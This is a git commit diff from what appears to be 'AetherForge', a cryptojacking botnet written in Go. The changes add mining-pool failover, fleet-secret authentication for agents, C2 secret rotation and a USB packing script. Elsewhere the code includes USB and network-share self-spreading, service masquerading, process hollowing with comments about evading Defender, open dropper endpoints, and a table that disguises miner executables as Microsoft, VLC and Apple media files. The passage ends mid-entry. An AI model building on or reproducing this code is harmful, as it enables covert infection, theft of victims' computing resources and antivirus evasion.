feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
4
.gitignore
vendored
4
.gitignore
vendored
@@ -40,3 +40,7 @@ Desktop.ini
|
|||||||
# Broken accidental directory (cmd "..." path expansion)
|
# Broken accidental directory (cmd "..." path expansion)
|
||||||
/server/.../
|
/server/.../
|
||||||
/fusion-deliverables/
|
/fusion-deliverables/
|
||||||
|
|
||||||
|
# Prebuilt agent/fusion binaries — compiled on demand, not tracked in git
|
||||||
|
/agent/crypto-miner-agent
|
||||||
|
/fusion/crypto-miner-fusion
|
||||||
|
|||||||
@@ -255,6 +255,9 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
|
|||||||
return nil, fmt.Errorf("failed to create decide request: %w", err)
|
return nil, fmt.Errorf("failed to create decide request: %w", err)
|
||||||
}
|
}
|
||||||
httpReq.Header.Set("Content-Type", "application/json")
|
httpReq.Header.Set("Content-Type", "application/json")
|
||||||
|
if a.cfg.FleetSecret != "" {
|
||||||
|
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||||
|
}
|
||||||
|
|
||||||
resp, err := a.httpClient.Do(httpReq)
|
resp, err := a.httpClient.Do(httpReq)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -430,6 +433,9 @@ func (a *AIRunner) reportResults(reports []ToolReport) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
httpReq.Header.Set("Content-Type", "application/json")
|
httpReq.Header.Set("Content-Type", "application/json")
|
||||||
|
if a.cfg.FleetSecret != "" {
|
||||||
|
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||||
|
}
|
||||||
|
|
||||||
resp, err := a.httpClient.Do(httpReq)
|
resp, err := a.httpClient.Do(httpReq)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -460,6 +466,9 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
httpReq.Header.Set("Content-Type", "application/json")
|
httpReq.Header.Set("Content-Type", "application/json")
|
||||||
|
if a.cfg.FleetSecret != "" {
|
||||||
|
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||||
|
}
|
||||||
|
|
||||||
resp, err := a.httpClient.Do(httpReq)
|
resp, err := a.httpClient.Do(httpReq)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
|||||||
|
|
||||||
func (c *AgentClient) authenticate() error {
|
func (c *AgentClient) authenticate() error {
|
||||||
host, cores, memGB := c.reporter.SystemInfo()
|
host, cores, memGB := c.reporter.SystemInfo()
|
||||||
|
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||||
|
for i, bp := range c.cfg.BackupPools {
|
||||||
|
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||||
|
}
|
||||||
|
|
||||||
payload, _ := json.Marshal(AuthPayload{
|
payload, _ := json.Marshal(AuthPayload{
|
||||||
AgentID: c.agentID,
|
AgentID: c.agentID,
|
||||||
FleetSecret: c.cfg.FleetSecret,
|
FleetSecret: c.cfg.FleetSecret,
|
||||||
Wallet: c.cfg.Wallet,
|
Wallet: c.cfg.Wallet,
|
||||||
|
BackupPools: backupPools,
|
||||||
Version: config.Version,
|
Version: config.Version,
|
||||||
Hostname: host,
|
Hostname: host,
|
||||||
CPUCores: cores,
|
CPUCores: cores,
|
||||||
|
|||||||
@@ -7,10 +7,19 @@ type Message struct {
|
|||||||
Payload json.RawMessage `json:"payload"`
|
Payload json.RawMessage `json:"payload"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
|
||||||
|
type BackupPoolEntry struct {
|
||||||
|
Host string `json:"host"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
TLS bool `json:"pool_tls"`
|
||||||
|
Pass string `json:"pass"`
|
||||||
|
}
|
||||||
|
|
||||||
type AuthPayload struct {
|
type AuthPayload struct {
|
||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
FleetSecret string `json:"fleet_secret"`
|
FleetSecret string `json:"fleet_secret"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
|
BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"`
|
||||||
Version string `json:"version"`
|
Version string `json:"version"`
|
||||||
Hostname string `json:"hostname"`
|
Hostname string `json:"hostname"`
|
||||||
CPUCores int `json:"cpu_cores"`
|
CPUCores int `json:"cpu_cores"`
|
||||||
|
|||||||
@@ -55,8 +55,10 @@ type BuiltinConfig struct {
|
|||||||
// Passive spreading — triggered by the environment rather than active scanning
|
// Passive spreading — triggered by the environment rather than active scanning
|
||||||
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
||||||
ShareSpread bool // drop agent onto already-mounted network shares
|
ShareSpread bool // drop agent onto already-mounted network shares
|
||||||
// Backup server URLs — tried in order if primary fails
|
// Backup server URLs — tried in order if primary C2 fails
|
||||||
BackupServerURLs []string
|
BackupServerURLs []string
|
||||||
|
// BackupPools — alternative mining pools tried in order if the primary is unreachable
|
||||||
|
BackupPools []BackupPool
|
||||||
// Windows service masquerade (ignored on other OSes)
|
// Windows service masquerade (ignored on other OSes)
|
||||||
ServiceMasquerade bool
|
ServiceMasquerade bool
|
||||||
ServiceName string
|
ServiceName string
|
||||||
@@ -66,6 +68,14 @@ type BuiltinConfig struct {
|
|||||||
FleetSecret string
|
FleetSecret string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
|
type BackupPool struct {
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
TLS bool
|
||||||
|
Pass string
|
||||||
|
}
|
||||||
|
|
||||||
type RuntimeConfig struct {
|
type RuntimeConfig struct {
|
||||||
BuiltinConfig
|
BuiltinConfig
|
||||||
AgentID string
|
AgentID string
|
||||||
|
|||||||
@@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||||
|
// Relocation patching (H12) is fully implemented: if the preferred image base is
|
||||||
|
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
|
||||||
|
// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
|
||||||
|
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
|
||||||
|
// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
|
||||||
|
// but is not implemented.
|
||||||
func RunHollowed(targetExe string, payload []byte) error {
|
func RunHollowed(targetExe string, payload []byte) error {
|
||||||
if len(payload) < 0x40 {
|
if len(payload) < 0x40 {
|
||||||
return fmt.Errorf("payload too small")
|
return fmt.Errorf("payload too small")
|
||||||
|
|||||||
133
pack-usb.bat
Normal file
133
pack-usb.bat
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
@echo off
|
||||||
|
setlocal EnableExtensions EnableDelayedExpansion
|
||||||
|
title AetherForge — Pack USB
|
||||||
|
cd /d "%~dp0"
|
||||||
|
set "ROOT=%CD%"
|
||||||
|
set "USB=%ROOT%\USB"
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo AetherForge — Pack Portable USB
|
||||||
|
echo ================================================================
|
||||||
|
echo.
|
||||||
|
echo This script builds AetherForge.exe and assembles everything
|
||||||
|
echo needed to run the Control Deck from a USB drive.
|
||||||
|
echo.
|
||||||
|
echo Output folder: %USB%\
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 0. Check prerequisites
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
where go >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Go not found on PATH.
|
||||||
|
echo Install from https://go.dev/dl/ or add it to PATH.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
where npm >nul 2>nul
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo WARNING: npm not found. Skipping frontend build.
|
||||||
|
set "SKIP_FRONTEND=1"
|
||||||
|
)
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 1. Build the frontend (if npm available)
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
if not defined SKIP_FRONTEND (
|
||||||
|
echo [1/4] Building frontend...
|
||||||
|
cd "%ROOT%\server\web"
|
||||||
|
call npm install --silent
|
||||||
|
call npm run build
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Frontend build failed.
|
||||||
|
cd "%ROOT%"
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
cd "%ROOT%"
|
||||||
|
echo [1/4] Frontend built.
|
||||||
|
) else (
|
||||||
|
echo [1/4] Skipped (npm not found).
|
||||||
|
)
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 2. Build AetherForge.exe for the current machine (amd64 windows)
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
echo [2/4] Compiling AetherForge.exe...
|
||||||
|
cd "%ROOT%\server"
|
||||||
|
set "CGO_ENABLED=0"
|
||||||
|
set "GOOS=windows"
|
||||||
|
set "GOARCH=amd64"
|
||||||
|
go build -ldflags="-s -w" -o "%USB%\AetherForge.exe" .
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Go build failed.
|
||||||
|
cd "%ROOT%"
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
cd "%ROOT%"
|
||||||
|
echo [2/4] AetherForge.exe -> USB\AetherForge.exe
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 3. Copy webroot
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
echo [3/4] Copying webroot...
|
||||||
|
if exist "%ROOT%\server\webroot" (
|
||||||
|
if exist "%USB%\webroot" rd /s /q "%USB%\webroot"
|
||||||
|
xcopy /e /i /q "%ROOT%\server\webroot" "%USB%\webroot" >nul
|
||||||
|
echo [3/4] webroot copied.
|
||||||
|
) else if exist "%ROOT%\server\web\dist" (
|
||||||
|
if exist "%USB%\webroot" rd /s /q "%USB%\webroot"
|
||||||
|
xcopy /e /i /q "%ROOT%\server\web\dist" "%USB%\webroot" >nul
|
||||||
|
echo [3/4] webroot copied from web\dist.
|
||||||
|
) else (
|
||||||
|
echo [3/4] WARNING: No webroot found. Run 'npm run build' in server\web\ first.
|
||||||
|
)
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 4. Copy source trees (needed for Forge to compile agents on the USB)
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
echo [4/4] Copying agent + fusion source...
|
||||||
|
|
||||||
|
if exist "%USB%\agent" rd /s /q "%USB%\agent"
|
||||||
|
if exist "%USB%\fusion" rd /s /q "%USB%\fusion"
|
||||||
|
|
||||||
|
:: Copy agent source, excluding test results and build outputs
|
||||||
|
xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\agent" "%USB%\agent" >nul
|
||||||
|
xcopy /e /i /q /EXCLUDE:"%ROOT%\usb_pack_exclude.txt" "%ROOT%\fusion" "%USB%\fusion" >nul
|
||||||
|
echo [4/4] Source trees copied.
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 5. Ensure data directories exist on USB
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
if not exist "%USB%\data\builds" mkdir "%USB%\data\builds"
|
||||||
|
if not exist "%USB%\data\logs" mkdir "%USB%\data\logs"
|
||||||
|
if not exist "%USB%\data\blueprints" mkdir "%USB%\data\blueprints"
|
||||||
|
if not exist "%USB%\data\preps" mkdir "%USB%\data\preps"
|
||||||
|
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
:: 6. Summary
|
||||||
|
:: ----------------------------------------------------------------
|
||||||
|
echo.
|
||||||
|
echo ================================================================
|
||||||
|
echo USB pack complete!
|
||||||
|
echo.
|
||||||
|
echo Contents of %USB%\:
|
||||||
|
dir /b "%USB%"
|
||||||
|
echo.
|
||||||
|
echo To use:
|
||||||
|
echo 1. Copy the entire USB\ folder to a USB drive (or another PC)
|
||||||
|
echo 2. Double-click LAUNCH.bat
|
||||||
|
echo 3. Open http://localhost:8989 in a browser
|
||||||
|
echo.
|
||||||
|
echo Toolchain note:
|
||||||
|
echo If Go is not installed on the target PC, LAUNCH.bat will
|
||||||
|
echo download it automatically on first run and save it to
|
||||||
|
echo USB\toolchain\ for future use.
|
||||||
|
echo ================================================================
|
||||||
|
echo.
|
||||||
|
|
||||||
|
pause
|
||||||
|
endlocal
|
||||||
@@ -10,6 +10,16 @@ type AgentForgeConfig struct {
|
|||||||
AIEnabled bool
|
AIEnabled bool
|
||||||
AIOllamaEndpoint string
|
AIOllamaEndpoint string
|
||||||
AIModel string
|
AIModel string
|
||||||
|
// BackupPools are tried in order if the primary pool is unreachable.
|
||||||
|
BackupPools []AgentBackupPool
|
||||||
|
}
|
||||||
|
|
||||||
|
// AgentBackupPool is a fallback pool config received from an agent at auth time.
|
||||||
|
type AgentBackupPool struct {
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
TLS bool
|
||||||
|
Pass string
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {
|
func (c AgentForgeConfig) poolHostOrDefault(fallback string) string {
|
||||||
|
|||||||
@@ -21,8 +21,31 @@ var (
|
|||||||
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
|
||||||
usersFilePath string
|
usersFilePath string
|
||||||
usersMu sync.RWMutex
|
usersMu sync.RWMutex
|
||||||
|
|
||||||
|
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
||||||
|
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
||||||
|
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
||||||
|
fleetSecretForAgentPaths string
|
||||||
|
fleetSecretForAgentPathsMu sync.RWMutex
|
||||||
|
|
||||||
|
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
||||||
|
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
||||||
|
rotateSecretFn func() (string, error)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
||||||
|
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
||||||
|
func SetAgentPathSecret(secret string) {
|
||||||
|
fleetSecretForAgentPathsMu.Lock()
|
||||||
|
fleetSecretForAgentPaths = secret
|
||||||
|
fleetSecretForAgentPathsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
||||||
|
func SetRotateSecretFn(fn func() (string, error)) {
|
||||||
|
rotateSecretFn = fn
|
||||||
|
}
|
||||||
|
|
||||||
func loadUsers(dataDir string) {
|
func loadUsers(dataDir string) {
|
||||||
usersFilePath = filepath.Join(dataDir, "users.json")
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||||
usersMu.Lock()
|
usersMu.Lock()
|
||||||
@@ -58,15 +81,34 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
}
|
}
|
||||||
|
|
||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
// Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
|
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") ||
|
// Health check and download endpoints are always open.
|
||||||
path == "/api/v1/health" ||
|
if path == "/api/v1/health" ||
|
||||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
|
||||||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
|
||||||
next.ServeHTTP(w, r)
|
next.ServeHTTP(w, r)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||||
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||||
|
// legitimately forged agents can call these endpoints.
|
||||||
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||||
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
|
secret := fleetSecretForAgentPaths
|
||||||
|
fleetSecretForAgentPathsMu.RUnlock()
|
||||||
|
if secret != "" {
|
||||||
|
provided := r.Header.Get("X-Fleet-Secret")
|
||||||
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
||||||
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Secret is empty (first run before config save) or matched — allow through.
|
||||||
|
next.ServeHTTP(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
user, pass, ok := r.BasicAuth()
|
user, pass, ok := r.BasicAuth()
|
||||||
if !ok {
|
if !ok {
|
||||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||||
@@ -155,6 +197,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Builder
|
// Builder
|
||||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||||
|
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
||||||
|
token := chi.URLParam(req, "token")
|
||||||
|
if builderHandler.CancelBuild(token) {
|
||||||
|
writeJSON(w, map[string]interface{}{"cancelled": true})
|
||||||
|
} else {
|
||||||
|
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
// Blueprints (config presets)
|
// Blueprints (config presets)
|
||||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
@@ -162,6 +212,21 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
|
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||||
|
// Forged agents with the old secret will be rejected until re-forged.
|
||||||
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||||
|
if rotateSecretFn == nil {
|
||||||
|
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
newSecret, err := rotateSecretFn()
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
||||||
|
})
|
||||||
|
|
||||||
// User Management
|
// User Management
|
||||||
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
||||||
var payload struct {
|
var payload struct {
|
||||||
|
|||||||
@@ -310,6 +310,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
FleetSecret string `json:"fleet_secret"`
|
FleetSecret string `json:"fleet_secret"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
|
BackupPools []struct {
|
||||||
|
Host string `json:"host"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
TLS bool `json:"pool_tls"`
|
||||||
|
Pass string `json:"pass"`
|
||||||
|
} `json:"backup_pools"`
|
||||||
Version string `json:"version"`
|
Version string `json:"version"`
|
||||||
Hostname string `json:"hostname"`
|
Hostname string `json:"hostname"`
|
||||||
Worker string `json:"worker"`
|
Worker string `json:"worker"`
|
||||||
@@ -360,6 +366,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
policy := h.serverPolicySnapshot()
|
policy := h.serverPolicySnapshot()
|
||||||
|
|
||||||
|
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
|
||||||
|
for i, bp := range auth.BackupPools {
|
||||||
|
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||||
|
}
|
||||||
|
|
||||||
forgeCfg := AgentForgeConfig{
|
forgeCfg := AgentForgeConfig{
|
||||||
Wallet: auth.Wallet,
|
Wallet: auth.Wallet,
|
||||||
PoolHost: auth.PoolHost,
|
PoolHost: auth.PoolHost,
|
||||||
@@ -369,6 +380,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
AIEnabled: auth.AIEnabled,
|
AIEnabled: auth.AIEnabled,
|
||||||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||||||
AIModel: auth.AIModel,
|
AIModel: auth.AIModel,
|
||||||
|
BackupPools: backupPools,
|
||||||
}
|
}
|
||||||
|
|
||||||
caps := models.AgentCapabilities{
|
caps := models.AgentCapabilities{
|
||||||
@@ -391,7 +403,28 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
poolCfg.Password = "x"
|
poolCfg.Password = "x"
|
||||||
}
|
}
|
||||||
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
||||||
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
|
log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
|
||||||
|
connected := false
|
||||||
|
for i, bp := range backupPools {
|
||||||
|
if bp.Host == "" || bp.Port <= 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
bpCfg := poolCfg
|
||||||
|
bpCfg.Host = bp.Host
|
||||||
|
bpCfg.Port = bp.Port
|
||||||
|
bpCfg.UseTLS = bp.TLS
|
||||||
|
if bp.Pass != "" {
|
||||||
|
bpCfg.Password = bp.Pass
|
||||||
|
}
|
||||||
|
if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
|
||||||
|
log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
|
||||||
|
connected = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !connected {
|
||||||
|
log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -128,6 +128,94 @@ var disguiseByExt = map[string]fileDisguiseInfo{
|
|||||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
},
|
},
|
||||||
|
// ── Audio (extended) ───────────────────────────────────────────────────────
|
||||||
|
".flac": {
|
||||||
|
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
".aac": {
|
||||||
|
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
".ogg": {
|
||||||
|
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
|
||||||
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||||
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||||
|
},
|
||||||
|
".m4a": {
|
||||||
|
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
|
||||||
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||||
|
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||||
|
},
|
||||||
|
".wma": {
|
||||||
|
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
// ── Video (extended) ───────────────────────────────────────────────────────
|
||||||
|
".webm": {
|
||||||
|
FileDescription: "WebM Video File", ProductName: "VLC media player",
|
||||||
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||||
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||||
|
},
|
||||||
|
".m4v": {
|
||||||
|
FileDescription: "iTunes Video File", ProductName: "iTunes",
|
||||||
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||||
|
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
||||||
|
},
|
||||||
|
".flv": {
|
||||||
|
FileDescription: "Flash Video File", ProductName: "VLC media player",
|
||||||
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||||
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||||
|
},
|
||||||
|
".ts": {
|
||||||
|
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
|
||||||
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||||
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||||
|
},
|
||||||
|
".3gp": {
|
||||||
|
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||||
|
},
|
||||||
|
// ── Images (extended) ──────────────────────────────────────────────────────
|
||||||
|
".bmp": {
|
||||||
|
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".webp": {
|
||||||
|
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".tiff": {
|
||||||
|
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".tif": {
|
||||||
|
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
||||||
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||||
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||||
|
},
|
||||||
|
".heic": {
|
||||||
|
